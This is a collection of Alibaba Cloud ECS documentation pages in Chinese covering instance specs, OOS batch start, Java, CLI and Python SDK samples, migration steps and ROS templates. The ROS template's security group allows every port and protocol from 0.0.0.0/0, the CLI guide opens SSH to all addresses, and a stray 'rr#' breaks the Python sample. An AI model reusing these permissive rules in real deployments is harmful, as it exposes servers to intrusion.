        • Hadoop、Spark集群以及其他企业大内存需求应用

      se1包括的实例规格及指标数据如下:
      实例规格 vCPU 内存(GiB) 本地存储(GiB) 网络带宽能力(出/入)(Gbit/s) 网络收发包能力(出+入)(万PPS) 支持IPv6 多队列 弹性网卡(包括一块主网卡) 单块弹性网卡的私有IP
      ecs.se1.large 2 16.0 0.5 10 1 2 6
      ecs.se1.xlarge 4 32.0 0.8 20 1 3 10
      ecs.se1.2xlarge 8 64.0 1.5 40 1 4 10
      ecs.se1.4xlarge 16 128.0 3.0 50 2 8 20
      ecs.se1.8xlarge 32 256.0 6.0 80 3 8 20
      ecs.se1.14xlarge 56 480.0 10.0 120 4 8 20

      说明

      相关链接

      ]]> 通过OOS批量启动ECS实例实践_运维编排_运维与监控_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 通过OOS批量启动ECS实例实践

      更新时间:2020-05-12 17:39:04

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文演示了如何在ECS管理控制台上,使用运维编排服务OOS的公共模板ACS-ECS-BulkyStartInstances实现批量启动多台ECS实例。

      前提条件

      创建运维编排服务OOS运维任务前,请确保已满足以下要求:

      • 已开通运维编排服务OOS。
      • 已创建RAM角色,并为OOS服务角色添加AliyunECSFullAccess授权策略。具体请参见为OOS服务设置RAM权限

        本示例创建的RAM角色为OOSServiceRole-EcsDocGuideTest。

      • 已为目标ECS实例绑定了标签。 具体请参见创建或绑定标签

        本示例创建的标签键值对为ECS: Documentation

      背景信息

      运维编排服务OOS通过模板定义您需要编排的运维任务。模板内容支持YAML和JSON两种格式,模版分为公共模版和自定义模版两种类型。为了方便您快速使用OOS,OOS提供了公共模板供您直接使用和参考,如本文中的ACS-ECS-BulkyStartInstances公共模板。在使用模板前您需要仔细审查模板所要执行的运维任务,并优先在测试环境观察使用效果。

      您也可以编写自定义模板来编写您所需要的运维任务。更多详情,请参见模板结构

      操作步骤

      1. 登录OOS管理控制台
      2. 在左侧导航栏,单击公共模板
      3. 在顶部菜单栏左上角处,选择地域。
      4. 公共模板中,查找ACS-ECS-BulkyStartInstances,并单击创建执行

        ACS-ECS-StartInstancesByTag

      5. 创建执行页签中,完成以下操作:
        1. 保持基本信息的默认设置,单击下一步:设置参数

          执行模式选择自动执行,表示模板中的所有任务都会被自行执行,而不是单个拆分地执行。

        2. 完成设置参数填写。

          oos01部分配置项含义如下表所示,其余配置项可保持默认设置。
          配置项 说明 示例
          targets 选择实例来源,当实例处于非已停止(Stopped)状态时,会报错。支持以下任意一种方式选择实例。
          • 手动选择实例
          • 指定实例的标签
          • 指定实例的资源组
          指定实例的标签
          选择实例 当您选择了手动选择实例,您需要选择一个或多个已停止状态的实例。 i-bp1e9mxelweamh5g****
          实例标签 当您选择了指定实例的标签,您必须选择一个或多个已创建的标签,其中标签键为必选项。OOS通过调用ECS API StartInstance批量启动ECS实例。 ECS: Documentation
          资源组 当您选择了指定实例的资源组,您需要选择一个资源组。 Test
          执行使用到的权限的来源 OOS支持通过访问控制RAM设置运维操作的权限。可供选择的权限有您的账号的自带权限和已创建的oosAssumeRole,达到细粒度控制操作的目的。 指定RAM角色,使用该角色的权限

        3. 单击下一步:确认
        4. 确认创建页面,预览和确认基本信息参数设置,确认无误后单击创建执行

      执行结果

      创建了运维任务后,您可以在执行管理页面查看结果。

      执行管理
      • 执行状态显示成功,表示运维任务已完成。
      • 执行状态显示失败,您可以单击操作列下的详情查看执行日志,并根据日志信息分析和调整执行内容。

      ]]> 批量创建ECS实例_创建ECS实例_Java示例_SDK示例_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 批量创建ECS实例

      更新时间:2020-02-12 11:23:36

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文介绍如何通过阿里云ECS Java SDK调用RunInstances创建一台或多台ECS实例。

      前提条件

      创建ECS实例前,您必须提前查询以下信息:

      • 调用DescribeRegions查询ECS实例启动的阿里云地域,假设为cn-hangzhou
      • 调用DescribeImages接口查看要使用的镜像ID,假设为freebsd_11_02_64_30G_alibase_20190722.vhd
      • 调用DescribeInstanceTypes查询ECS实例使用的实例规格,假设为ecs.g5.large。详情请参见实例规格族
      • 调用DescribeSecurityGroups查询指定地域中的一个或多个安全组ID,假设为sg-bp1fg655nh68xyz9i***。安全组的网络类型将决定ECS实例的网络类型,例如,如果您选择的是一个专有网络VPC类型的安全组,则新建的ECS实例会自动加入安全组所属的专有网络VPC。
      • 如果安全组的网络类型为专有网络VPC,调用VPC API DescribeVSwitches查询安全组所属专有网络VPC中的虚拟交换机ID,假设为vsw-bp1wt4qpuavdb6y6k8***
      • 使用按量付费的ECS资源时,您的阿里云账户余额不得少于100.00元人民币或者等值的代金券或者优惠券。

      背景信息

      本文调用RunInstances接口创建并自动启动多台ECS实例。详情请参见RunInstances

      说明 调用RunInstances会创建ECS实例等计费资源,会产生实际费用。如果您只需测试示例代码,可以代码中设置DryRun方法,只发送检查请求,不会创建实例。检查项包括是否填写了必需参数、请求格式、业务限制和ECS库存等。

      代码示例

      以下代码适用于公网带宽采用按流量计费、实例计费方式采用按量付费、网络类型采用专有网络VPC的新建ECS实例:

      import com.aliyuncs.DefaultAcsClient;
      import com.aliyuncs.IAcsClient;
      import com.aliyuncs.exceptions.ClientException;
      import com.aliyuncs.exceptions.ServerException;
      import com.aliyuncs.profile.DefaultProfile;
      import com.alibaba.fastjson.JSON;
      import java.util.*;
      import java.util.UUID;
      import com.aliyuncs.ecs.model.v20140526.*;
      
      public class RunInstances {
      
          public static void main(String[] args) {
              // 创建并初始化DefaultAcsClient实例。
              DefaultProfile profile = DefaultProfile.getProfile("cn-hangzhou", "<yourAccessKeyId>", "<yourAccessSecret>");
              IAcsClient client = new DefaultAcsClient(profile);
      
              // 创建API请求,并设置参数。
              RunInstancesRequest request = new RunInstancesRequest();
              request.setRegionId("cn-hangzhou");
              request.setImageId("freebsd_11_02_64_30G_alibase_20190722.vhd");
              request.setInstanceType("ecs.g5.large");
              request.setSecurityGroupId("sg-bp1fg655nh68xyz9i***");
              request.setVSwitchId("vsw-bp1wt4qpuavdb6y6k8***");
              request.setInstanceName("MyFirstEcsInstance");
              request.setDescription("MyFirstEcsInstance");
              request.setInternetMaxBandwidthOut(2);
              request.setInternetChargeType("PayByTraffic");
              request.setClientToken(UUID.randomUUID().toString());
      
              // 添加一块数据盘,数据盘类型为SSD云盘,容量为100GiB,并开启了随ECS实例释放。
              List<RunInstancesRequest.DataDisk> dataDiskList = new ArrayList<RunInstancesRequest.DataDisk>();
      
              RunInstancesRequest.DataDisk dataDisk1 = new RunInstancesRequest.DataDisk();
              dataDisk1.setSize(100);
              dataDisk1.setCategory("cloud_ssd");
              dataDisk1.setDeleteWithInstance(true);
              dataDiskList.add(dataDisk1);
              request.setDataDisks(dataDiskList);
              // 批量创建五台ECS实例,如果不设置该参数,默认创建一台ECS实例。
              // request.setAmount(5);
              // 如果缺少库存可以接受的最低创建数量。
              // request.setMinAmount(2);
      
              List<RunInstancesRequest.Tag> tagList = new ArrayList<RunInstancesRequest.Tag>();
      
              RunInstancesRequest.Tag tag1 = new RunInstancesRequest.Tag();
              tag1.setKey("EcsProduct");
              tag1.setValue("DocumentationDemo");
              tagList.add(tag1);
              request.setTags(tagList);
              // 打开预检参数功能,不会实际创建ECS实例,只检查参数正确性、用户权限或者ECS库存等问题。
              // 实际情况下,设置了DryRun参数后,Amount必须为1,MinAmount必须为空,您可以根据实际需求修改代码。
              // request.setDryRun(true);
              request.setInstanceChargeType("PostPaid");
      
              // 发起请求并处理返回或异常。
              RunInstancesResponse response;
              try {
                  response = client.getAcsResponse(request);
      
                  System.out.println(JSON.toJSONString(response));
      
              } catch (ServerException e) {
                  e.printStackTrace();
              } catch (ClientException e) {
                  System.out.println("ErrCode:" + e.getErrCode());
                  System.out.println("ErrMsg:" + e.getErrMsg());
                  System.out.println("RequestId:" + e.getRequestId());
              }
      
          }
      }

      执行结果

      实际返回结果为:

      {
          "RequestId":"04F0F334-1335-436C-A1D7-6C044FE73368",
          "InstanceIdSets":{
              "InstanceIdSet":[
                  "i-instanceid1",
                  "i-instanceid2",
                  "i-instanceid3"
              ]
          }
      }

      ]]> 阿里云ECS实例间迁移_各源环境的迁移_迁移教程_迁移服务_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 阿里云ECS实例间迁移

      更新时间:2019-09-29 17:52:25

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文介绍阿里云ECS实例间的迁移场景和操作步骤。

      背景信息

      阿里云ECS实例间迁移,建议您首先考虑使用阿里云的镜像复制和镜像共享功能。具体操作步骤,请参见复制镜像共享镜像 。这两个功能不适用时,您可以参见下列场景。

      相同VPC下的ECS实例迁移

      此场景适用于ECS磁盘缩容。更多详情,请参见ECS磁盘缩容

      在此场景中,建议您使用VPC内网迁移实例以达到最大的传输效率。关于VPC内网迁移的更多详情,请参见VPC内网迁移

      不同VPC下的ECS Windows实例迁移

      此场景适用于不同账号、不同地域或不同VPC下的ECS Windows实例迁移。

      在迁移之前,请先完成以下准备工作:

      • 创建快照以备份数据。
      • 检查授权应用。

        不同VPC下ECS实例迁移到阿里云后,系统底层硬件设备会发生变化,可能会导致某些与硬件绑定的应用许可证(license)失效,您需要做好检查。

      • 检查网络环境。
        • 如果您的网络是跨国际地域,由于网络环境不稳定,迁云速度可能较慢。
        • 如果您的网络可以打通VPC内网,具体步骤请参见VPC内网迁移
      • 检查并确保Windows系统VSS服务为启动状态 。
      • 检查是否安装了qemu-agent工具。如果安装了此工具,您需要先卸载。卸载的具体步骤,请参见迁云工具FAQ
      • 建议您先使用测试机,按照本文中介绍的迁云操作步骤进行测试演练。

      完成以下操作,将不同VPC下的ECS Windows实例迁移至阿里云:

      1. 下载并安装迁云工具到待迁移的服务器。具体步骤请参见下载并安装迁云工具
      2. 配置user_config.json

        user_config.json配置文件的主要配置项包括:

        • 阿里云账号AccessKey信息
        • 迁移目标区域、目标镜像名称
        • (可选)目标系统盘大小、目标数据盘配置
        • 迁移源系统平台、架构

        各配置项的详细配置方法,请参见配置迁移源和迁移目标

      3. 可选: 配置无需迁移的目录或文件。具体配置方法,请参见(可选)排除不迁移的文件或目录
      4. 运行迁云工具主程序。

        以管理员身份运行go2aliyun_client.exego2aliyun_gui.exe。如果是GUI版本,则需要单击start按钮开始迁移。

      不同VPC下的ECS Linux实例迁移

      此场景适用于不同账号、不同地域或不同VPC下的ECS Linux实例迁移。

      在迁移之前,请先完成以下准备工作:

      • 创建快照以备份数据。
      • 检查授权应用。

        不同VPC下ECS实例迁移到阿里云后,系统底层硬件设备会发生变化,可能会导致某些与硬件绑定的应用许可证(license)失效,您需要做好检查。

      • 检查网络环境。
        • 如果您的网络是跨国际地域,由于网络环境不稳定,迁云速度可能较慢。
        • 如果您的网络可以打通VPC内网,具体步骤请参见VPC内网迁移
      • 下载并安装迁云工具。具体操作步骤,请参见下载和安装迁云工具
      • 进入迁移工具所在目录,运行./Check/client_check --check命令检查待迁移ECS实例是否满足迁移条件。

        如果所有的检测项都为OK,您可以开始迁移。否则,您需要检查GRUB引导程序。

        部分低内核系统如CentOS 5/Red Hat 5、Debian 7需要将GRUB升级至1.99及以上版本,具体操作步骤,请参见如何为Linux服务器安装GRUB?

        说明 请使用root权限升级GRUB引导程序。

      • 建议您先使用测试机,按照本文中介绍的迁云操作步骤进行测试演练。

      完成以下操作,将不同VPC下的ECS Linux实例迁移至阿里云:

      1. 配置user_config.json

        user_config.json配置文件的主要配置项包括:

        • 阿里云账号AccessKey信息
        • 迁移目标区域、目标镜像名称
        • (可选)目标系统盘大小、目标数据盘配置
        • 迁移源系统平台、架构

        各配置项的详细配置方法,请参见配置迁移源和迁移目标

      2. 可选: 配置无需迁移的目录或文件。具体配置方法,请参见(可选)排除不迁移的文件或目录
      3. 使用root权限运行以下命令,为迁云工具主程序添加可执行权限并执行该程序。

        chmod +x go2aliyun_client
        ./go2aliyun_client

        等待迁云工具运行完成。当运行迁云工具的界面上提示Go to Aliyun Finished!时,表示迁移完成。如下图所示。
        迁移完成

      ]]> 快速创建ECS实例(CLI)_快速入门_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 快速创建ECS实例(CLI)

      更新时间:2020-04-27 21:19:22

      本页目录

      如果您平时习惯使用CLI方式运维阿里云资源,可以通过CLoud Shell以CLI方式快速创建ECS实例。

      登录阿里云CLoud Shell控制台

      1. 登录ECS管理控制台

      2. 单击右上角的Cloud Shell图标,进入CLoud Shell控制台。

        cloud shell

      创建ECS实例准备工作

      在创建ECS实例前,您需要先创建专有网络VPC和安全组。

      1. 创建VPC。

        华东1 杭州创建专有网络VPC,VPC网段为192.168.0.0/16。
        API 参数 示例取值
        CreateVpc RegionId 地域:cn-hangzhou
        CidrBlock VPC网段:192.168.0.0/16

        执行以下命令创建VPC。

        aliyun vpc CreateVpc          
        --RegionId cn-hangzhou        
        --CidrBlock 192.168.0.0/16

        返回结果如下所示。

        {
                "RequestId": "EC94C73B-8103-4B86-B353-E65C7C9E****",
                "ResourceGroupId": "rg-acfmzw2jz2z****",
                "RouteTableId": "vtb-bp1jxpr9ji5wcn4yv****",
                "VRouterId": "vrt-bp1dyxemup2q4ouga****",
                "VpcId": "vpc-bp1d9v4763ym2hlzt****"
        }

      2. 创建交换机。

        在VPC中创建交换机,交换机网段为192.168.0.0/24。
        API 参数 示例取值
        CreateVSwitch ZoneId 可用区:cn-hangzhou-i
        VpcId VPC ID:根据CreateVpc返回结果。

        示例:vpc-bp1d9v4763ym2hlzt****

        CidrBlock 交换机网段:192.168.0.0/24

        执行以下命令创建交换机。

        aliyun vpc CreateVSwitch 
        --CidrBlock 192.168.0.0/24 
        --VpcId vpc-bp1d9v4763ym2hlzt**** 
        --ZoneId=cn-hangzhou-i

        返回结果如下所示。

        {
                "RequestId": "AF1787C4-0D81-44F0-A324-D5C54EA0****",
                "VSwitchId": "vsw-bp11hf5r945gewysp****"
        }

      3. 创建安全组。

        API 参数 示例取值
        CreateSecurityGroup RegionId 地域:cn-hangzhou
        VpcId VPC ID:根据CreateVpc返回结果。

        示例:vpc-bp1d9v4763ym2hlzt****

        执行以下命令创建安全组。

        aliyun ecs CreateSecurityGroup 
        --RegionId cn-hangzhou 
        --VpcId vpc-bp1d9v4763ym2hlzt****

        返回结果如下所示。

        {
                "RequestId": "B1C25C34-9B84-49E3-9E50-FB7D7970****",
                "SecurityGroupId": "sg-bp18z2q1jg4gq95t****"
        }

      4. 在安全组中添加入方向放行规则。

        API 参数 示例取值
        AuthorizeSecurityGroup RegionId 地域:cn-hangzhou
        SecurityGroupId 安全组ID:根据CreateSecurityGroup返回结果。

        示例:sg-bp18z2q1jg4gq95t****

        IpProtocol 协议:tcp
        SourceCidrIp 源CIDR:0.0.0.0/0
        PortRange 端口范围:
        • Linux实例:22/22
        • Windows实例:3389/3389

        执行以下命令添加安全组规则。

        aliyun ecs AuthorizeSecurityGroup  
        --RegionId cn-hangzhou 
        --SecurityGroupId sg-bp18z2q1jg4gq95t**** 
        --IpProtocol tcp 
        --SourceCidrIp 0.0.0.0/0 
        --PortRange 22/22

        返回结果如下所示。

        {
                "RequestId": "FA8B1E61-C9C9-4D91-9628-64B8E2F4****"
        }

      购买ECS实例

      购买一个包年包月的ECS实例。

      API 参数 示例取值
      RunInstances RegionId 地域:cn-hangzhou
      ImageId 镜像:推荐使用Aliyun Linux镜像aliyun_2_1903_x64_20G_alibase_20200324.vhd
      InstanceType 实例规格:
      • 个人应用:推荐选择1核2G的实例规格ecs.s6-c1m2.small
      • 中小企业应用:推荐选择2核4G的实例规格ecs.c5.large
      SecurityGroupId 安全组ID:根据CreateSecurityGroup返回结果。

      示例:sg-bp18z2q1jg4gq95t****

      VSwitchId 交换机ID:根据CreateVSwitch返回结果。

      示例:vsw-bp11hf5r945gewysp****

      InstanceName 实例名称。

      示例:ecs_cli_demo

      InstanceChargeType 付费方式:实例按照包年包月的付费方式PrePaid

      说明 您需要确保账号余额能够完成支付。

      PeriodUnit 付费周期单位:Month
      Period 付费时长:1
      InternetMaxBandwidthOut 公网IP带宽:1
      Password 实例登录密码:<yourPassword>

      说明 您需要自定义复杂密码以保护ECS实例的安全。

      执行以下命令创建包年包月的ECS实例。

      aliyun ecs RunInstances 
      --RegionId cn-hangzhou 
      --ImageId aliyun_2_1903_x64_20G_alibase_20200324.vhd 
      --InstanceType ecs.s6-c1m2.small 
      --SecurityGroupId sg-bp18z2q1jg4gq95t**** 
      --VSwitchId vsw-bp11hf5r945gewys**** 
      --InstanceName ecs_cli_demo 
      --InstanceChargeType PrePaid 
      --PeriodUnit Month 
      --Period 1 
      --InternetMaxBandwidthOut 1 
      --Password <yourPassword>

      返回结果如下所示。

      {
              "InstanceIdSets": {
                      "InstanceIdSet": [
                              "i-bp1ducce5hs1jm98****"
                      ]
              },
              "RequestId": "7F0166F9-9466-4AE1-8799-E68D6514****",
              "TradePrice": ****
      }

      连接ECS实例

      此示例介绍通过Cloud Shell登录Linux实例。如果您安装的是Windows实例,登录方式请参见在本地客户端上连接Windows实例

      1. 查询实例公网IP地址。

        API 参数 示例取值
        DescribeInstances RegionId 地域:cn-hangzhou
        InstanceIds 实例ID:根据RunInstances返回结果。

        示例:'["i-bp1ducce5hs1jm98****"]'

        执行以下命令查询实例公网IP。

        aliyun ecs DescribeInstances 
        --RegionId cn-hangzhou 
        --InstanceIds '["i-bp1ducce5hs1jm98****"]'

        在返回结果中找到以下公网IP信息。

        公网IP

      2. 通过SSH登录ECS实例。

        ssh登录

      实例到期释放

      包年包月实例到期后,您可以手动释放。如果一直未续费,实例也会自动释放。

      ]]> 创建一台ECS实例_资源编排_部署与弹性_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 创建一台ECS实例

      更新时间:2019-12-06 09:50:50

      本页目录

      本文为您介绍如何使用资源编排服务(ROS)创建一台ECS实例。

      创建ECS实例前,需要先创建虚拟专有网络(VPC)和交换机(VSwitch),并加入安全组(SecurityGroup)。本文使用ROS模板创建资源栈,生成上述资源。关于如何通过ROS控制台创建资源栈,请参见创建资源栈

      创建一台ECS实例

      本例使用{"Fn::Select": ["0", {"Fn::GetAZs": {"Ref": "ALIYUN::Region"}}]} 获取当前地域的第一个可用区;使用Parameters以提高模板的灵活性,即可以在创建资源栈时自定义资源类型所需参数,而不是在模板中进行硬编码;参数"AssociationProperty": "ALIYUN::ECS::Instance:ZoneId"用于列出当前地域的所有可用区;使用Ref关联参数或其他资源类型,获取参数的值或其他资源的ID;使用Fn::GetAtt获取资源类型的返回值,通过Outputs输出,您可以进入控制台资源栈概况页面在概览一栏查看输出值。

      JSON格式模板

      {
        "ROSTemplateFormatVersion": "2015-09-01",
        "Description": "创建一台ECS实例",
        "Parameters": {
          "ZoneId": {
            "AssociationProperty": "ALIYUN::ECS::Instance:ZoneId",
            "Type": "String",
            "Description": "可用区是指在同一地域内,电力和网络互相独立的物理区域。在同一专有网络内可用区与可用区之间内网互通,可用区之间能做到故障隔离。",
            "Label": "可用区"
          },
          "PublicIP": {
            "Type": "Boolean",
            "Description": "是否分配公网IP",
            "Label": "分配公网IP",
            "Default": true
          },
          "ImageId": {
            "Type": "String",
            "Description": "镜像ID, 表示要启动一个ECS实例的镜像资源, <a href='#/product/cn-beijing/list/imageList' target='_blank'>查看镜像资源</a>",
            "AllowedValues": [
              "centos_7",
              "ubuntu",
              "win"
            ],
            "Label": "ECS镜像ID",
            "Default": "centos_7"
          },
          "InstanceType": {
            "Type": "String",
            "Description": "ECS实例类型, <a href='#/product/cn-beijing/list/typeList' target='_blank'>查看实例类型</a>",
            "AllowedValues": [
              "ecs.c5.large",
              "ecs.g5.large",
              "ecs.c5.xlarge",
              "ecs.g5.xlarge"
            ],
            "Label": "ECS实例类型",
            "Default": "ecs.c5.large"
          },
          "LoginPassword": {
            "NoEcho": true,
            "Type": "String",
            "Description": "ECS登录密码",
            "AllowedPattern": "[a-zA-Z0-9-\(\)\`\~\!@\#\$%\^&\*-+=\|\{\}\[\]\:\;\‘\,\.\?\/]*",
            "Label": "ECS登录密码",
            "Confirm": true,
            "MinLength": 8,
            "MaxLength": 30
          }
        },
        "Resources": {
          "VSwitch": {
            "Type": "ALIYUN::ECS::VSwitch",
            "Properties": {
              "VpcId": {
                "Ref": "VPC"
              },
              "ZoneId": {
                "Ref": "ZoneId"
              },
              "CidrBlock": "192.168.0.0/24"
            }
          },
          "SG": {
            "Type": "ALIYUN::ECS::SecurityGroup",
            "Properties": {
              "VpcId": {
                "Ref": "VPC"
              },
              "SecurityGroupName": "ECSSG",
              "SecurityGroupIngress": [
                {
                  "PortRange": "-1/-1",
                  "Priority": 1,
                  "SourceCidrIp": "0.0.0.0/0",
                  "IpProtocol": "all",
                  "NicType": "internet"
                }
              ],
              "SecurityGroupEgress": [
                {
                  "PortRange": "-1/-1",
                  "Priority": 1,
                  "IpProtocol": "all",
                  "DestCidrIp": "0.0.0.0/0",
                  "NicType": "intranet"
                }
              ]
            }
          },
          "ECS": {
            "Type": "ALIYUN::ECS::Instance",
            "Properties": {
              "IoOptimized": "optimized",
              "PrivateIpAddress": "192.168.0.1",
              "VpcId": {
                "Ref": "VPC"
              },
              "ZoneId": {
                "Ref": "ZoneId"
              },
              "SecurityGroupId": {
                "Ref": "SG"
              },
              "VSwitchId": {
                "Ref": "VSwitch"
              },
              "ImageId": {
                "Ref": "ImageId"
              },
              "AllocatePublicIP": {
                "Ref": "PublicIP"
              },
              "InstanceType": {
                "Ref": "InstanceType"
              },
              "SystemDiskCategory": "cloud_ssd",
              "Password": {
                "Ref": "LoginPassword"
              }
            }
          },
          "VPC": {
            "Type": "ALIYUN::ECS::VPC",
            "Properties": {
              "CidrBlock": "192.168.0.0/16",
              "VpcName": "MyVPC"
            }
          }
        },
        "Outputs": {
          "ECS实例ID": {
            "Value": {
              "Fn::GetAtt": [
                "ECS",
                "InstanceId"
              ]
            }
          },
          "公网IP": {
            "Value": {
              "Fn::GetAtt": [
                "ECS",
                "PublicIp"
              ]
            }
          }
        }
      }

      YAML格式模板

      ROSTemplateFormatVersion: '2015-09-01'
      Description: 创建一台ECS实例
      Parameters:
        ZoneId:
          AssociationProperty: 'ALIYUN::ECS::Instance:ZoneId'
          Type: String
          Description: 可用区是指在同一地域内,电力和网络互相独立的物理区域。在同一专有网络内可用区与可用区之间内网互通,可用区之间能做到故障隔离。
          Label: 可用区
        PublicIP:
          Type: Boolean
          Description: 是否分配公网IP
          Label: 分配公网IP
          Default: true
        ImageId:
          Type: String
          Description: "镜像ID, 表示要启动一个ECS实例的镜像资源, <a href='#/product/cn-beijing/list/imageList' target='_blank'>查看镜像资源</a>"
          AllowedValues:
            - centos_7
            - ubuntu
            - win
          Label: ECS镜像ID
          Default: centos_7
        InstanceType:
          Type: String
          Description: "ECS实例类型, <a href='#/product/cn-beijing/list/typeList' target='_blank'>查看实例类型</a>"
          AllowedValues:
            - ecs.c5.large
            - ecs.g5.large
            - ecs.c5.xlarge
            - ecs.g5.xlarge
          Label: ECS实例类型
          Default: ecs.c5.large
        LoginPassword:
          NoEcho: true
          Type: String
          Description: ECS登录密码
          AllowedPattern: "[a-zA-Z0-9-\(\)\`\~\!@\#\$%\^&\*-+=\|\{\}\[\]\:\;\‘\,\.\?\/]*"
          Label: ECS登录密码
          Confirm: true
          MinLength: 8
          MaxLength: 30
      Resources:
        VSwitch:
          Type: 'ALIYUN::ECS::VSwitch'
          Properties:
            VpcId:
              Ref: VPC
            ZoneId:
              Ref: ZoneId
            CidrBlock: 192.168.0.0/24
        SG:
          Type: 'ALIYUN::ECS::SecurityGroup'
          Properties:
            VpcId:
              Ref: VPC
            SecurityGroupName: ECSSG
            SecurityGroupIngress:
              - PortRange: '-1/-1'
                Priority: 1
                SourceCidrIp: 0.0.0.0/0
                IpProtocol: all
                NicType: internet
            SecurityGroupEgress:
              - PortRange: '-1/-1'
                Priority: 1
                IpProtocol: all
                DestCidrIp: 0.0.0.0/0
                NicType: intranet
        ECS:
          Type: 'ALIYUN::ECS::Instance'
          Properties:
            IoOptimized: optimized
            PrivateIpAddress: 192.168.0.1
            VpcId:
              Ref: VPC
            ZoneId:
              Ref: ZoneId
            SecurityGroupId:
              Ref: SG
            VSwitchId:
              Ref: VSwitch
            ImageId:
              Ref: ImageId
            AllocatePublicIP:
              Ref: PublicIP
            InstanceType:
              Ref: InstanceType
            SystemDiskCategory: cloud_ssd
            Password:
              Ref: LoginPassword
        VPC:
          Type: 'ALIYUN::ECS::VPC'
          Properties:
            CidrBlock: 192.168.0.0/16
            VpcName: MyVPC
      Outputs:
        ECS实例ID:
          Value:
            'Fn::GetAtt':
              - ECS
              - InstanceId
        公网IP:
          Value:
            'Fn::GetAtt':
              - ECS
              - PublicIp

      说明 您可以使用本文提供的模板,在任意地域创建资源栈。如果在创建模板时报错,请选择其它可用区或实例类型。

      ]]> 释放ECS实例_Python示例_SDK示例_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 释放ECS实例

      更新时间:2020-04-17 21:47:32

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      云服务器ECS支持按需创建资源。您可以在业务高峰期按需弹性地创建自定义资源,完成业务计算时释放资源。本文介绍如何通过Python SDK释放ECS实例。

      背景信息

      释放ECS实例后,实例所使用的物理资源将被回收,包括磁盘及快照,相关数据将全部丢失且永久不可恢复。如果您还想继续使用相关的数据,建议您释放ECS实例之前一定要对磁盘数据做快照,下次创建ECS实例时可以直接通过快照创建资源。

      本文提供了释放ECS实例的完整代码示例,并提供了代码示例解析,请参见:

      更多代码示例请参见阿里云代码示例库(CodeSample)

      完整代码

      本文的完整代码如下所示。

      说明 释放ECS实例需谨慎。

      #  coding=utf-8
      rr# if the python sdk is not install using 'sudo pip install aliyun-python-sdk-ecs'
      # if the python sdk is install using 'sudo pip install --upgrade aliyun-python-sdk-ecs'
      # make sure the sdk version is 2.1.2, you can use command 'pip show aliyun-python-sdk-ecs' to check
      
      import json
      import logging
      from aliyunsdkcore import client
      from aliyunsdkecs.request.v20140526.DeleteInstanceRequest import DeleteInstanceRequest
      from aliyunsdkecs.request.v20140526.DescribeInstancesRequest import DescribeInstancesRequest
      from aliyunsdkecs.request.v20140526.ModifyInstanceAutoReleaseTimeRequest import 
          ModifyInstanceAutoReleaseTimeRequest
      from aliyunsdkecs.request.v20140526.StopInstanceRequest import StopInstanceRequest
      
      # configuration the log output formatter, if you want to save the output to file,
      # append ",filename='ecs_invoke.log'" after datefmt.
      
      logging.basicConfig(level=logging.INFO, format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s',
                          datefmt='%a, %d %b %Y %H:%M:%S')
      clt = client.AcsClient('<accessKeyId>', '<accessSecret>', '<region-Id>')
      
      
      def stop_instance(instance_id, force_stop=False):
          '''
          stop one ecs instance.
          :param instance_id: instance id of the ecs instance, like 'i-***'.
          :param force_stop: if force stop is true, it will force stop the server and not ensure the data
          write to disk correctly.
          :return:
          '''
          request = StopInstanceRequest()
          request.set_InstanceId(instance_id)
          request.set_ForceStop(force_stop)
          logging.info("Stop %s command submit successfully.", instance_id)
          _send_request(request)
      
      
      def describe_instance_detail(instance_id):
          '''
          describe instance detail
          :param instance_id: instance id of the ecs instance, like 'i-***'.
          :return:
          '''
          request = DescribeInstancesRequest()
          request.set_InstanceIds(json.dumps([instance_id]))
          response = _send_request(request)
          if response is not None:
              instance_list = response.get('Instances').get('Instance')
              if len(instance_list) > 0:
                  return instance_list[0]
      
      
      def check_auto_release_time_ready(instance_id):
          detail = describe_instance_detail(instance_id=instance_id)
          if detail is not None:
              release_time = detail.get('AutoReleaseTime')
              return release_time
      
      
      def release_instance(instance_id, force=False):
          '''
          delete instance according instance id, only support after pay instance.
          :param instance_id: instance id of the ecs instance, like 'i-***'.
          :param force:
          if force is false, you need to make the ecs instance stopped, you can
          execute the delete action.
          If force is true, you can delete the instance even the instance is running.
          :return:
          '''
          request = DeleteInstanceRequest();
          request.set_InstanceId(instance_id)
          request.set_Force(force)
          _send_request(request)
      
      
      def set_instance_auto_release_time(instance_id, time_to_release=None):
          '''
          setting instance auto delete time
          :param instance_id: instance id of the ecs instance, like 'i-***'.
          :param time_to_release: if the property is setting, such as '2017-01-30T00:00:00Z'
          it means setting the instance to be release at that time.
          if the property is None, it means cancel the auto delete time.
          :return:
          '''
          request = ModifyInstanceAutoReleaseTimeRequest()
          request.set_InstanceId(instance_id)
          if time_to_release is not None:
              request.set_AutoReleaseTime(time_to_release)
          _send_request(request)
          release_time = check_auto_release_time_ready(instance_id)
          logging.info("Check instance %s auto release time setting is %s. ", instance_id, release_time)
      
      
      def _send_request(request):
          '''
          send open api request
          :param request:
          :return:
          '''
          request.set_accept_format('json')
          try:
              response_str = clt.do_action(request)
              logging.info(response_str)
              response_detail = json.loads(response_str)
              return response_detail
          except Exception as e:
              logging.error(e)
      
      
      if __name__ == '__main__':
          logging.info("Release ecs instance by Aliyun OpenApi!")
          stop_instance('i-bp1aet7s13lfpjop****')
          # set_instance_auto_release_time('i-bp1187lghfcy8nnz****', '2020-04-17T06:00:00Z')
          # set_instance_auto_release_time('i-bp1aet7s13lfpjop****')
          # release_instance('i-bp1aet7s13lfpjop****')
          # release_instance('i-bp1aet7s13lfpjop****', True)

      停止ECS实例

      释放ECS实例,首先要求您的ECS实例处于停止状态。当ECS实例停止后,若影响到应用,您可以将ECS实例重新启动。

      停止ECS实例的指令非常简单,且对于按量付费和包年包月都是一样的。停止ECS实例的一个参数是ForceStop,若属性设置为true,它将类似于断电,直接停止ECS实例,但不承诺数据能写到磁盘中。如果仅仅为了释放ECS实例,这个可以设置为true

